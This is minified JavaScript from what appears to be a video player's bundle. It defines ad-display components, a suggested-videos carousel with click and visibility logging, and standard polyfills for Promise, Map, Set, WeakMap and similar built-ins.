PyV=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-grid-card-text",W:[{L:"div",G:"ytp-ad-grid-card-text__metadata",W:[{L:"div",G:"ytp-ad-grid-card-text__metadata__headline"},{L:"div",G:"ytp-ad-grid-card-text__metadata__description",W:[{L:"div",G:"ytp-ad-grid-card-text__metadata__description__line"},{L:"div",G:"ytp-ad-grid-card-text__metadata__description__line"}]}]},{L:"div",G:"ytp-ad-grid-card-text__button"}]},"ad-grid-card-text",T,t,u);this.headline=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,
this.JQ);g.y(this,this.headline);this.headline.yU(this.Um("ytp-ad-grid-card-text__metadata__headline"));this.moreInfoButton=new GB(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,!0);g.y(this,this.moreInfoButton);this.moreInfoButton.yU(this.Um("ytp-ad-grid-card-text__button"))};
gW=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-grid-card-collection"},"ad-grid-card-collection",T,t,u);this.C=[]};
Bh=function(x,T,t,u,H,I,E){fK.call(this,x,I,E,T,t,u,H);this.playerProgressOffsetMs=0;this.Z=!1};
SN3=function(x){var T=g.Q9("html5-video-player");T&&g.Ic(T,"ytp-ad-display-override",x)};
crD=function(x,T,t,u,H){Bh.call(this,x,T,t,u,H,{L:"div",G:"ytp-display-underlay-text-grid-cards",W:[{L:"div",G:"ytp-display-underlay-text-grid-cards__content_container",W:[{L:"div",G:"ytp-display-underlay-text-grid-cards__content_container__header",W:[{L:"div",G:"ytp-display-underlay-text-grid-cards__content_container__header__ad_avatar"},{L:"div",G:"ytp-display-underlay-text-grid-cards__content_container__header__headline"}]},{L:"div",G:"ytp-display-underlay-text-grid-cards__content_container__ad_grid_card_collection"},
{L:"div",G:"ytp-display-underlay-text-grid-cards__content_container__ad_button"}]}]},"display-underlay-text-grid-cards");this.adGridCardCollection=new gW(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,this.adGridCardCollection);this.adGridCardCollection.yU(this.Um("ytp-display-underlay-text-grid-cards__content_container__ad_grid_card_collection"));this.adButton=new GB(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,this.adButton);this.adButton.yU(this.Um("ytp-display-underlay-text-grid-cards__content_container__ad_button"));
this.j=this.Um("ytp-display-underlay-text-grid-cards__content_container");this.K=this.Um("ytp-display-underlay-text-grid-cards__content_container__header")};
Wh=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-details-line"},"ad-details-line",T,t,u);this.C=[];this.hide()};
DV=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-image-background",W:[{L:"img",G:"ytp-image-background-image"}]},"image-background",T,t,u);this.hide()};
YNX=function(x,T,t,u,H){fK.call(this,x,{L:"svg",G:"ytp-timed-pie-countdown",X:{viewBox:"0 0 20 20"},W:[{L:"circle",G:"ytp-timed-pie-countdown__background",X:{r:"10",cx:"10",cy:"10"}},{L:"circle",G:"ytp-timed-pie-countdown__inner",X:{r:"5",cx:"10",cy:"10"}},{L:"circle",G:"ytp-timed-pie-countdown__outer",X:{r:"10",cx:"10",cy:"10"}}]},"timed-pie-countdown",T,t,u,H);this.j=this.Um("ytp-timed-pie-countdown__inner");this.Z=Math.ceil(2*Math.PI*5);this.hide()};
y_=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-video-interstitial-buttoned-centered-layout",X:{tabindex:"0"},W:[{L:"div",G:"ytp-video-interstitial-buttoned-centered-layout__content",W:[{L:"div",G:"ytp-video-interstitial-buttoned-centered-layout__content__instream-info-container"},{L:"div",G:"ytp-video-interstitial-buttoned-centered-layout__content__lockup",W:[{L:"div",G:"ytp-video-interstitial-buttoned-centered-layout__content__lockup__ad-avatar-container"},{L:"div",G:"ytp-video-interstitial-buttoned-centered-layout__content__lockup__headline-container"},
{L:"div",G:"ytp-video-interstitial-buttoned-centered-layout__content__lockup__details-line-container"},{L:"div",G:"ytp-video-interstitial-buttoned-centered-layout__content__lockup__ad-button-container"}]}]},{L:"div",G:"ytp-video-interstitial-buttoned-centered-layout__timed-pie-countdown-container"}]},"video-interstitial-buttoned-centered",T,t,u);this.Z=null;this.K=this.Um("ytp-video-interstitial-buttoned-centered-layout__content__instream-info-container");this.j=new bj;g.y(this,this.j);this.hide()};
UC4=function(x){var T=g.Q9("html5-video-player");T&&g.Ic(T,"ytp-ad-display-override",x)};
boD=function(x){if(!x.adAvatar||!g.N(x.adAvatar,Ns))return g.vW(Error("VideoInterstitialButtonedCenteredLayoutRenderer has no avatar.")),!1;if(!x.headline)return g.vW(Error("VideoInterstitialButtonedCenteredLayoutRenderer has no headline.")),!1;if(!x.adBadge||!g.N(x.adBadge,Jz))return g.vW(Error("VideoInterstitialButtonedCenteredLayoutRenderer has no ad badge.")),!1;if(!x.adButton||!g.N(x.adButton,CL))return g.vW(Error("VideoInterstitialButtonedCenteredLayoutRenderer has no action button.")),!1;if(!x.adInfoRenderer||
!g.N(x.adInfoRenderer,GO))return g.vW(Error("VideoInterstitialButtonedCenteredLayoutRenderer has no ad info button.")),!1;x=x.durationMilliseconds||0;return typeof x!=="number"||x<=0?(g.vW(Error("durationMilliseconds was specified incorrectly in VideoInterstitialButtonedCenteredLayoutRenderer with a value of: "+x)),!1):!0};
Q_=function(x,T,t){DJ.call(this,x);this.api=x;this.JQ=T;this.Z={};x=new g.Q({L:"div",DZ:["video-ads","ytp-ad-module"]});g.y(this,x);Tw&&g.uY(x.element,"ytp-ads-tiny-mode");this.T=new A1(x.element);g.y(this,this.T);g.V$(this.api,x.element,4);xs(t)&&(t=new g.Q({L:"div",DZ:["ytp-ad-underlay"]}),g.y(this,t),this.j=new A1(t.element),g.y(this,this.j),g.V$(this.api,t.element,0));g.y(this,v$D())};
rrX=function(x,T){x=g.kO(x.Z,T.id,null);x==null&&g.Vh(Error("Component not found for element id: "+T.id));return x||null};
zpf=function(x){g.r_.call(this,x);var T=this;this.Z=null;this.created=!1;this.j=x.Y().B("h5_use_refactored_get_ad_break")?new SIX(this.player):new Jo(this.player);this.K=function(){if(T.Z!=null)return T.Z;var u=new kJf({HB:S4(T.C).HB,LC:S4(T.C).LC,U:T.player,MC:S4(T.C).MC,RU:T.C.C.RU,Y$:S4(T.C).Y$,au:T.C.C.au});T.Z=u.Ah;return T.Z};
this.C=new Lmv(this.player,this,this.j,this.K);g.y(this,this.C);var t=x.Y();!Un(t)||g.L1(t)||Dm(t)||(g.y(this,new Q_(x,S4(this.C).JQ,S4(this.C).MC)),g.y(this,new nnC(x)))};
kP5=function(x){x.created!==x.loaded&&E3("Created and loaded are out of sync")};
vHi=function(x){g.r_.prototype.load.call(x);var T=S4(x.C).MC;try{x.player.getRootNode().classList.add("ad-created")}catch(e){E3(e instanceof Error?e:String(e))}var t=x.player.getVideoData(1),u=t&&t.videoId||"",H=t&&t.getPlayerResponse()||{},I=(!x.player.Y().experiments.aU("debug_ignore_ad_placements")&&H&&H.adPlacements||[]).map(function(e){return e.adPlacementRenderer}),E=((H==null?void 0:H.adSlots)||[]).map(function(e){return g.N(e,Bb)});
H=H.playerConfig&&H.playerConfig.daiConfig&&H.playerConfig.daiConfig.enableDai||!1;t&&t.B9();I=FT4(I,E,T,S4(x.C).lQ);E=t&&t.clientPlaybackNonce||"";t=t&&t.zi||!1;if(YX(T,!0)&&t){var Z;T={};(Z=x.player.getVideoData())==null||Z.kc("p_cpb",(T.cc=E,T))}Z=1E3*x.player.getDuration(1);hp3(x);x.C.C.P1.w_(E,Z,t,I.TF,I.eW,I.TF,H,u)};
hp3=function(x){var T,t;if(t=(T=x.player.getVideoData(1))==null||!T.zi)T=x.player.Y(),t=Un(T)&&!g.Yv(T)&&T.playerStyle==="desktop-polymer";t&&(x=x.player.getInternalApi(),x.addEventListener("updateKevlarOrC3Companion",Icf),x.addEventListener("updateEngagementPanelAction",Eef),x.addEventListener("changeEngagementPanelVisibility",q5C),window.addEventListener("yt-navigate-start",jsX))};
pL=function(x,T){T===x.q4&&(x.q4=void 0)};
Vlm=function(x){var T=S4(x.C).rb,t=T.K().Q_("SLOT_TYPE_PLAYER_BYTES",1);T=AH(T.Bv.get(),1).clientPlaybackNonce;var u=!1;t=g.S(t);for(var H=t.next();!H.done;H=t.next()){H=H.value;var I=H.slotType==="SLOT_TYPE_PLAYER_BYTES"&&H.slotEntryTrigger instanceof b_?H.slotEntryTrigger.RM:void 0;I&&I===T&&(u&&E3("More than 1 preroll playerBytes slot detected",H),u=!0)}u||it(S4(x.C).LH)};
GPv=function(x){if(K6(S4(x.C).MC))return!0;var T="";x=g.S(S4(x.C).Y$.PE.keys());for(var t=x.next();!t.done;t=x.next()){t=t.value;if(t.slotType==="SLOT_TYPE_PLAYER_BYTES"&&t.Yc==="core")return!0;T+=t.slotType+" "}Math.random()<.01&&E3("Ads Playback Not Managed By Controlflow",void 0,null,{slotTypes:T});return!1};
LTi=function(x){x=g.S(S4(x.C).Y$.PE.values());for(var T=x.next();!T.done;T=x.next())if(T.value.layoutType==="LAYOUT_TYPE_MEDIA_BREAK")return!0;return!1};
cRi=function(x,T,t,u,H,I){t=t===void 0?[]:t;u=u===void 0?"":u;H=H===void 0?"":H;var E=S4(x.C).MC,Z=x.player.getVideoData(1);Z&&Z.getPlayerResponse();Z&&Z.B9();t=FT4(T,t,E,S4(x.C).lQ);rRf(S4(x.C).f4,u,t.TF,t.eW,T,H,I)};
FT4=function(x,T,t,u){T={TF:[],eW:T};x=g.S(x);for(var H=x.next();!H.done;H=x.next())if((H=H.value)&&H.renderer!=null){var I=H.renderer;if(!t.U.Y().B("html5_enable_vod_lasr_with_notify_pacf")){var E=void 0,Z=void 0,e=void 0,l=void 0,m=u;g.N((l=I.sandwichedLinearAdRenderer)==null?void 0:l.adVideoStart,dZ)?(E=g.N((e=I.sandwichedLinearAdRenderer)==null?void 0:e.adVideoStart,dZ),E=DcC(E,m),g.gp(I.sandwichedLinearAdRenderer.adVideoStart,dZ,E)):g.N((Z=I.linearAdSequenceRenderer)==null?void 0:Z.adStart,dZ)&&
(e=g.N((E=I.linearAdSequenceRenderer)==null?void 0:E.adStart,dZ),E=DcC(e,m),g.gp(I.linearAdSequenceRenderer.adStart,dZ,E))}T.TF.push(H)}return T};
g.Og=function(x){if(typeof DOMParser!="undefined")return pd(new DOMParser,Gsm(x),"application/xml");throw Error("Your browser does not support loading xml documents");};
g.fL=function(x){g.W.call(this);this.callback=x;this.C=new Rc(0,0,.4,0,.2,1,1,1);this.delay=new g.pt(this.next,window,this);g.y(this,this.delay)};
g.nH3=function(x){var T=x.Y();return T.Jq&&!T.j&&g.zw(T)?x.isEmbedsShortsMode()?(x=x.Ny(),Math.min(x.width,x.height)>=315):!x.zV():!1};
g.wW=function(x){g.Q.call(this,{L:"div",G:"ytp-more-videos-view",X:{tabIndex:"-1"}});var T=this;this.api=x;this.Z=!0;this.j=new g.nj(this);this.C=[];this.suggestionData=[];this.columns=this.containerWidth=this.J=this.K=this.scrollPosition=0;this.title=new g.Q({L:"h2",G:"ytp-related-title",z9:"{{title}}"});this.previous=new g.Q({L:"button",DZ:["ytp-button","ytp-previous"],X:{"aria-label":"Show previous suggested videos"},W:[g.dr()]});this.N=new g.fL(function(t){T.suggestions.element.scrollLeft=-t});
this.next=new g.Q({L:"button",DZ:["ytp-button","ytp-next"],X:{"aria-label":"Show more suggested videos"},W:[g.MS()]});g.y(this,this.j);this.D=x.Y().K;g.y(this,this.title);this.title.yU(this.element);this.suggestions=new g.Q({L:"div",G:"ytp-suggestions"});g.y(this,this.suggestions);this.suggestions.yU(this.element);g.y(this,this.previous);this.previous.yU(this.element);this.previous.listen("click",this.gH,this);g.y(this,this.N);aPf(this);g.y(this,this.next);this.next.yU(this.element);this.next.listen("click",
this.n1,this);this.j.V(this.api,"appresize",this.C2);this.j.V(this.api,"fullscreentoggled",this.UR);this.j.V(this.api,"videodatachange",this.onVideoDataChange);this.C2(this.api.bG().getPlayerSize());this.onVideoDataChange()};
aPf=function(x){for(var T={aI:0};T.aI<16;T={aI:T.aI},++T.aI){var t=new g.Q({L:"a",G:"ytp-suggestion-link",X:{href:"{{link}}",target:x.api.Y().S,"aria-label":"{{aria_label}}"},W:[{L:"div",G:"ytp-suggestion-image"},{L:"div",G:"ytp-suggestion-overlay",X:{style:"{{blink_rendering_hack}}","aria-hidden":"{{aria_hidden}}"},W:[{L:"div",G:"ytp-suggestion-title",z9:"{{title}}"},{L:"div",G:"ytp-suggestion-author",z9:"{{author_and_views}}"},{L:"div",X:{"data-is-live":"{{is_live}}"},G:"ytp-suggestion-duration",
z9:"{{duration}}"}]}]});g.y(x,t);var u=t.Um("ytp-suggestion-link");g.Zt(u,"transitionDelay",T.aI/20+"s");x.j.V(u,"click",function(H){return function(I){var E=H.aI;if(x.Z){var Z=x.suggestionData[E],e=Z.sessionData;x.D&&x.api.B("web_player_log_click_before_generating_ve_conversion_params")?(x.api.logClick(x.C[E].element),E=Z.FA(),Z={},g.Fs(x.api,Z),E=g.NY(E,Z),g.uL(E,x.api,I)):g.sz(I,x.api,x.D,e||void 0)&&x.api.J8(Z.videoId,e,Z.playlistId)}else I.preventDefault(),document.activeElement.blur()}}(T));
t.yU(x.suggestions.element);x.C.push(t);x.api.createServerVe(t.element,t)}};
gH4=function(x){if(x.api.Y().B("web_player_log_click_before_generating_ve_conversion_params"))for(var T=Math.floor(-x.scrollPosition/(x.K+8)),t=Math.min(T+x.columns,x.suggestionData.length)-1;T<=t;T++)x.api.logVisibility(x.C[T].element,!0)};
g.KL=function(x){var T=x.api.ew()?32:16;T=x.J/2+T;x.next.element.style.bottom=T+"px";x.previous.element.style.bottom=T+"px";T=x.scrollPosition;var t=x.containerWidth-x.suggestionData.length*(x.K+8);g.Ic(x.element,"ytp-scroll-min",T>=0);g.Ic(x.element,"ytp-scroll-max",T<=t)};
WTD=function(x){for(var T=x.suggestionData.length,t=0;t<T;++t){var u=void 0,H=void 0,I=void 0;u=x;var E=u.api.Y(),Z=u.suggestionData[t],e=u.C[t];I=u.api.isEmbedsShortsMode()?Z.shortViewCount||"":Z.shortViewCount?Z.author+" \u2022 "+Z.shortViewCount:Z.author;e.element.style.display="";g.Zt(e.Um("ytp-suggestion-link"),"display","inline-block");BNi.test(Z.title)&&(e.Um("ytp-suggestion-title").dir="rtl");BNi.test(I)&&(e.Um("ytp-suggestion-author").dir="rtl");H=Z.isLivePlayback?"Live":Z.lengthSeconds?
g.S1(Z.lengthSeconds):"";var l=Z.FA(u.api.isEmbedsShortsMode());if(g.zw(E)&&!E.B("web_player_log_click_before_generating_ve_conversion_params")){var m={};g.ET(u.api,"addEmbedsConversionTrackingParams",[m]);l=g.NY(l,m)}E.B("web_player_log_click_before_generating_ve_conversion_params")&&(E=(E=Z.sessionData)&&E.itct)&&u.api.setTrackingParams(e.element,E);e.update({author_and_views:I,duration:H,link:l,title:Z.title,aria_label:Z.ariaLabel||Z.title,is_live:Z.isLivePlayback,aria_hidden:!!Z.ariaLabel,blink_rendering_hack:g.vU||
g.bm?"will-change: opacity":void 0});H=e.Um("ytp-suggestion-image");u=u.api.isEmbedsShortsMode()?Z.ys("hq2.jpg"):Z.ys();H.style.backgroundImage=u?"url("+u+")":""}if(T<16)for(;T<16;++T)g.Zt(x.C[T].Um("ytp-suggestion-link"),"display","none");g.KL(x)};
xf3=[];EH=typeof Object.defineProperties=="function"?Object.defineProperty:function(x,T,t){if(x==Array.prototype||x==Object.prototype)return x;x[T]=t.value;return x};
g.i3=oqC(this);ZC("Symbol",function(x){function T(I){if(this instanceof T)throw new TypeError("Symbol is not a constructor");return new t(u+(I||"")+"_"+H++,I)}
function t(I,E){this.C=I;EH(this,"description",{configurable:!0,writable:!0,value:E})}
if(x)return x;t.prototype.toString=function(){return this.C};
var u="jscomp_symbol_"+(Math.random()*1E9>>>0)+"_",H=0;return T});
ZC("Symbol.iterator",function(x){if(x)return x;x=Symbol("Symbol.iterator");for(var T="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),t=0;t<T.length;t++){var u=g.i3[T[t]];typeof u==="function"&&typeof u.prototype[x]!="function"&&EH(u.prototype,x,{configurable:!0,writable:!0,value:function(){return tmv(T5J(this))}})}return x});
var sVX=typeof Object.create=="function"?Object.create:function(x){function T(){}
T.prototype=x;return new T},DCD=function(){function x(){function t(){}
new t;Reflect.construct(t,[],function(){});
return new t instanceof t}
if(typeof Reflect!="undefined"&&Reflect.construct){if(x())return Reflect.construct;var T=Reflect.construct;return function(t,u,H){t=T(t,u);H&&Reflect.setPrototypeOf(t,H.prototype);return t}}return function(t,u,H){H===void 0&&(H=t);
H=sVX(H.prototype||Object.prototype);return Function.prototype.apply.call(t,H,u)||H}}(),yrD;
if(typeof Object.setPrototypeOf=="function")yrD=Object.setPrototypeOf;else{var NNH;a:{var JrH={a:!0},CyX={};try{CyX.__proto__=JrH;NNH=CyX.a;break a}catch(x){}NNH=!1}yrD=NNH?function(x,T){x.__proto__=T;if(x.__proto__!==T)throw new TypeError(x+" is not extensible");return x}:null}var jm=yrD,QNV=typeof Object.assign=="function"?Object.assign:function(x,T){for(var t=1;t<arguments.length;t++){var u=arguments[t];
if(u)for(var H in u)l3(u,H)&&(x[H]=u[H])}return x};
ZC("Object.assign",function(x){return x||QNV});
d5.prototype.J=function(x){this.Z=x};
d5.prototype.return=function(x){this.j={return:x};this.C=this.T};
d5.prototype.lG=function(x){this.C=x};
ZC("globalThis",function(x){return x||g.i3});
ZC("Reflect",function(x){return x?x:{}});
ZC("Reflect.construct",function(){return DCD});
ZC("Reflect.setPrototypeOf",function(x){return x?x:jm?function(T,t){try{return jm(T,t),!0}catch(u){return!1}}:null});
ZC("Promise",function(x){function T(E){this.C=0;this.j=void 0;this.Z=[];this.N=!1;var Z=this.K();try{E(Z.resolve,Z.reject)}catch(e){Z.reject(e)}}
function t(){this.C=null}
function u(E){return E instanceof T?E:new T(function(Z){Z(E)})}
if(x)return x;t.prototype.Z=function(E){if(this.C==null){this.C=[];var Z=this;this.j(function(){Z.T()})}this.C.push(E)};
var H=g.i3.setTimeout;t.prototype.j=function(E){H(E,0)};
t.prototype.T=function(){for(;this.C&&this.C.length;){var E=this.C;this.C=[];for(var Z=0;Z<E.length;++Z){var e=E[Z];E[Z]=null;try{e()}catch(l){this.K(l)}}}this.C=null};
t.prototype.K=function(E){this.j(function(){throw E;})};
T.prototype.K=function(){function E(l){return function(m){e||(e=!0,l.call(Z,m))}}
var Z=this,e=!1;return{resolve:E(this.uG),reject:E(this.T)}};
T.prototype.uG=function(E){if(E===this)this.T(new TypeError("A Promise cannot resolve to itself"));else if(E instanceof T)this.Om(E);else{a:switch(typeof E){case "object":var Z=E!=null;break a;case "function":Z=!0;break a;default:Z=!1}Z?this.jY(E):this.D(E)}};
T.prototype.jY=function(E){var Z=void 0;try{Z=E.then}catch(e){this.T(e);return}typeof Z=="function"?this.hQ(Z,E):this.D(E)};
T.prototype.T=function(E){this.J(2,E)};
T.prototype.D=function(E){this.J(1,E)};
T.prototype.J=function(E,Z){if(this.C!=0)throw Error("Cannot settle("+E+", "+Z+"): Promise already settled in state"+this.C);this.C=E;this.j=Z;this.C===2&&this.Hv();this.S()};
T.prototype.Hv=function(){var E=this;H(function(){if(E.ZZ()){var Z=g.i3.console;typeof Z!=="undefined"&&Z.error(E.j)}},1)};
T.prototype.ZZ=function(){if(this.N)return!1;var E=g.i3.CustomEvent,Z=g.i3.Event,e=g.i3.dispatchEvent;if(typeof e==="undefined")return!0;typeof E==="function"?E=new E("unhandledrejection",{cancelable:!0}):typeof Z==="function"?E=new Z("unhandledrejection",{cancelable:!0}):(E=g.i3.document.createEvent("CustomEvent"),E.initCustomEvent("unhandledrejection",!1,!0,E));E.promise=this;E.reason=this.j;return e(E)};
T.prototype.S=function(){if(this.Z!=null){for(var E=0;E<this.Z.length;++E)I.Z(this.Z[E]);this.Z=null}};
var I=new t;T.prototype.Om=function(E){var Z=this.K();E.zL(Z.resolve,Z.reject)};
T.prototype.hQ=function(E,Z){var e=this.K();try{E.call(Z,e.resolve,e.reject)}catch(l){e.reject(l)}};
T.prototype.then=function(E,Z){function e(M,A){return typeof M=="function"?function(R){try{l(M(R))}catch(Y){m(Y)}}:A}
var l,m,d=new T(function(M,A){l=M;m=A});
this.zL(e(E,l),e(Z,m));return d};
T.prototype.catch=function(E){return this.then(void 0,E)};
T.prototype.zL=function(E,Z){function e(){switch(l.C){case 1:E(l.j);break;case 2:Z(l.j);break;default:throw Error("Unexpected state: "+l.C);}}
var l=this;this.Z==null?I.Z(e):this.Z.push(e);this.N=!0};
T.resolve=u;T.reject=function(E){return new T(function(Z,e){e(E)})};
T.race=function(E){return new T(function(Z,e){for(var l=g.S(E),m=l.next();!m.done;m=l.next())u(m.value).zL(Z,e)})};
T.all=function(E){var Z=g.S(E),e=Z.next();return e.done?u([]):new T(function(l,m){function d(R){return function(Y){M[R]=Y;A--;A==0&&l(M)}}
var M=[],A=0;do M.push(void 0),A++,u(e.value).zL(d(M.length-1),m),e=Z.next();while(!e.done)})};
return T});
ZC("Object.setPrototypeOf",function(x){return x||jm});
ZC("Symbol.dispose",function(x){return x?x:Symbol("Symbol.dispose")});
ZC("SuppressedError",function(x){function T(t,u,H){if(!(this instanceof T))return new T(t,u,H);H=Error(H);"stack"in H&&(this.stack=H.stack);this.message=H.message;this.error=t;this.suppressed=u}
if(x)return x;g.P(T,Error);T.prototype.name="SuppressedError";return T});
ZC("Array.prototype.find",function(x){return x?x:function(T,t){return ev4(this,T,t).kE}});
ZC("WeakMap",function(x){function T(e){this.C=(Z+=Math.random()+1).toString();if(e){e=g.S(e);for(var l;!(l=e.next()).done;)l=l.value,this.set(l[0],l[1])}}
function t(){}
function u(e){var l=typeof e;return l==="object"&&e!==null||l==="function"}
function H(e){if(!l3(e,E)){var l=new t;EH(e,E,{value:l})}}
function I(e){var l=Object[e];l&&(Object[e]=function(m){if(m instanceof t)return m;Object.isExtensible(m)&&H(m);return l(m)})}
if(function(){if(!x||!Object.seal)return!1;try{var e=Object.seal({}),l=Object.seal({}),m=new x([[e,2],[l,3]]);if(m.get(e)!=2||m.get(l)!=3)return!1;m.delete(e);m.set(l,4);return!m.has(e)&&m.get(l)==4}catch(d){return!1}}())return x;
var E="$jscomp_hidden_"+Math.random();I("freeze");I("preventExtensions");I("seal");var Z=0;T.prototype.set=function(e,l){if(!u(e))throw Error("Invalid WeakMap key");H(e);if(!l3(e,E))throw Error("WeakMap key fail: "+e);e[E][this.C]=l;return this};
T.prototype.get=function(e){return u(e)&&l3(e,E)?e[E][this.C]:void 0};
T.prototype.has=function(e){return u(e)&&l3(e,E)&&l3(e[E],this.C)};
T.prototype.delete=function(e){return u(e)&&l3(e,E)&&l3(e[E],this.C)?delete e[E][this.C]:!1};
return T});
ZC("Map",function(x){function T(){var Z={};return Z.previous=Z.next=Z.head=Z}
function t(Z,e){var l=Z[1];return tmv(function(){if(l){for(;l.head!=Z[1];)l=l.previous;for(;l.next!=l.head;)return l=l.next,{done:!1,value:e(l)};l=null}return{done:!0,value:void 0}})}
function u(Z,e){var l=e&&typeof e;l=="object"||l=="function"?I.has(e)?l=I.get(e):(l=""+ ++E,I.set(e,l)):l="p_"+e;var m=Z[0][l];if(m&&l3(Z[0],l))for(Z=0;Z<m.length;Z++){var d=m[Z];if(e!==e&&d.key!==d.key||e===d.key)return{id:l,list:m,index:Z,entry:d}}return{id:l,list:m,index:-1,entry:void 0}}
function H(Z){this[0]={};this[1]=T();this.size=0;if(Z){Z=g.S(Z);for(var e;!(e=Z.next()).done;)e=e.value,this.set(e[0],e[1])}}
if(function(){if(!x||typeof x!="function"||!x.prototype.entries||typeof Object.seal!="function")return!1;try{var Z=Object.seal({x:4}),e=new x(g.S([[Z,"s"]]));if(e.get(Z)!="s"||e.size!=1||e.get({x:4})||e.set({x:4},"t")!=e||e.size!=2)return!1;var l=e.entries(),m=l.next();if(m.done||m.value[0]!=Z||m.value[1]!="s")return!1;m=l.next();return m.done||m.value[0].x!=4||m.value[1]!="t"||!l.next().done?!1:!0}catch(d){return!1}}())return x;
var I=new WeakMap;H.prototype.set=function(Z,e){Z=Z===0?0:Z;var l=u(this,Z);l.list||(l.list=this[0][l.id]=[]);l.entry?l.entry.value=e:(l.entry={next:this[1],previous:this[1].previous,head:this[1],key:Z,value:e},l.list.push(l.entry),this[1].previous.next=l.entry,this[1].previous=l.entry,this.size++);return this};
H.prototype.delete=function(Z){Z=u(this,Z);return Z.entry&&Z.list?(Z.list.splice(Z.index,1),Z.list.length||delete this[0][Z.id],Z.entry.previous.next=Z.entry.next,Z.entry.next.previous=Z.entry.previous,Z.entry.head=null,this.size--,!0):!1};
H.prototype.clear=function(){this[0]={};this[1]=this[1].previous=T();this.size=0};
H.prototype.has=function(Z){return!!u(this,Z).entry};
H.prototype.get=function(Z){return(Z=u(this,Z).entry)&&Z.value};
H.prototype.entries=function(){return t(this,function(Z){return[Z.key,Z.value]})};
H.prototype.keys=function(){return t(this,function(Z){return Z.key})};
H.prototype.values=function(){return t(this,function(Z){return Z.value})};
H.prototype.forEach=function(Z,e){for(var l=this.entries(),m;!(m=l.next()).done;)m=m.value,Z.call(e,m[1],m[0],this)};
H.prototype[Symbol.iterator]=H.prototype.entries;var E=0;return H});
ZC("Set",function(x){function T(t){this.C=new Map;if(t){t=g.S(t);for(var u;!(u=t.next()).done;)this.add(u.value)}this.size=this.C.size}
if(function(){if(!x||typeof x!="function"||!x.prototype.entries||typeof Object.seal!="function")return!1;try{var t=Object.seal({x:4}),u=new x(g.S([t]));if(!u.has(t)||u.size!=1||u.add(t)!=u||u.size!=1||u.add({x:4})!=u||u.size!=2)return!1;var H=u.entries(),I=H.next();if(I.done||I.value[0]!=t||I.value[1]!=t)return!1;I=H.next();return I.done||I.value[0]==t||I.value[0].x!=4||I.value[1]!=I.value[0]?!1:H.next().done}catch(E){return!1}}())return x;
T.prototype.add=function(t){t=t===0?0:t;this.C.set(t,t);this.size=this.C.size;return this};
T.prototype.delete=function(t){t=this.C.delete(t);this.size=this.C.size;return t};
T.prototype.clear=function(){this.C.clear();this.size=0};
T.prototype.has=function(t){return this.C.has(t)};
T.prototype.entries=function(){return this.C.entries()};
T.prototype.values=function(){return this.C.values()};
T.prototype.keys=T.prototype.values;T.prototype[Symbol.iterator]=T.prototype.values;T.prototype.forEach=function(t,u){var H=this;this.C.forEach(function(I){return t.call(u,I,I,H)})};
return T});
ZC("Math.log2",function(x){return x?x:function(T){return Math.log(T)/Math.LN2}});
ZC("Object.values",function(x){return x?x:function(T){var t=[],u;for(u in T)l3(T,u)&&t.push(T[u]);return t}});
ZC("Object.is",function(x){return x?x:function(T,t){return T===t?T!==0||1/T===1/t:T!==T&&t!==t}});
ZC("Array.prototype.includes",function(x){return x?x:function(T,t){var u=this;u instanceof String&&(u=String(u));var H=u.length;t=t||0;for(t<0&&(t=Math.max(t+H,0));t<H;t++){var I=u[t];if(I===T||Object.is(I,T))return!0}return!1}});
ZC("String.prototype.includes",function(x){return x?x:function(T,t){return vX(this,T,"includes").indexOf(T,t||0)!==-1}});
ZC("Array.from",function(x){return x?x:function(T,t,u){t=t!=null?t:function(Z){return Z};
var H=[],I=typeof Symbol!="undefined"&&Symbol.iterator&&T[Symbol.iterator];if(typeof I=="function"){T=I.call(T);for(var E=0;!(I=T.next()).done;)H.push(t.call(u,I.value,E++))}else for(I=T.length,E=0;E<I;E++)H.push(t.call(u,T[E],E));return H}});
ZC("Object.entries",function(x){return x?x:function(T){var t=[],u;for(u in T)l3(T,u)&&t.push([u,T[u]]);return t}});
ZC("Number.isFinite",function(x){return x?x:function(T){return typeof T!=="number"?!1:!isNaN(T)&&T!==Infinity&&T!==-Infinity}});
ZC("Number.MAX_SAFE_INTEGER",function(){return 9007199254740991});
ZC("Number.MIN_SAFE_INTEGER",function(){return-9007199254740991});
ZC("Number.isInteger",function(x){return x?x:function(T){return Number.isFinite(T)?T===Math.floor(T):!1}});
ZC("Number.isSafeInteger",function(x){return x?x:function(T){return Number.isInteger(T)&&Math.abs(T)<=Number.MAX_SAFE_INTEGER}});
ZC("String.prototype.startsWith",function(x){return x?x:function(T,t){var u=vX(this,T,"startsWith");T+="";var H=u.length,I=T.length;t=Math.max(0,Math.min(t|0,u.length));for(var E=0;E<I&&t<H;)if(u[t++]!=T[E++])return!1;return E>=I}});
ZC("String.prototype.endsWith",function(x){return x?x:function(T,t){var u=vX(this,T,"endsWith");T+="";t===void 0&&(t=u.length);t=Math.max(0,Math.min(t|0,u.length));for(var H=T.length;H>0&&t>0;)if(u[--t]!=T[--H])return!1;return H<=0}});
ZC("Array.prototype.entries",function(x){return x?x:function(){return VJ(this,function(T,t){return[T,t]})}});
ZC("Math.imul",function(x){return x?x:function(T,t){T=Number(T);t=Number(t);var u=T&65535,H=t&65535;return u*H+((T>>>16&65535)*H+u*(t>>>16&65535)<<16>>>0)|0}});
ZC("Math.trunc",function(x){return x?x:function(T){T=Number(T);if(isNaN(T)||T===Infinity||T===-Infinity||T===0)return T;var t=Math.floor(Math.abs(T));return T<0?-t:t}});
ZC("Math.clz32",function(x){return x?x:function(T){T=Number(T)>>>0;if(T===0)return 32;var t=0;(T&4294901760)===0&&(T<<=16,t+=16);(T&4278190080)===0&&(T<<=8,t+=8);(T&4026531840)===0&&(T<<=4,t+=4);(T&3221225472)===0&&(T<<=2,t+=2);(T&2147483648)===0&&t++;return t}});
ZC("Math.log10",function(x){return x?x:function(T){return Math.log(T)/Math.LN10}});
ZC("Number.isNaN",function(x){return x?x:function(T){return typeof T==="number"&&isNaN(T)}});
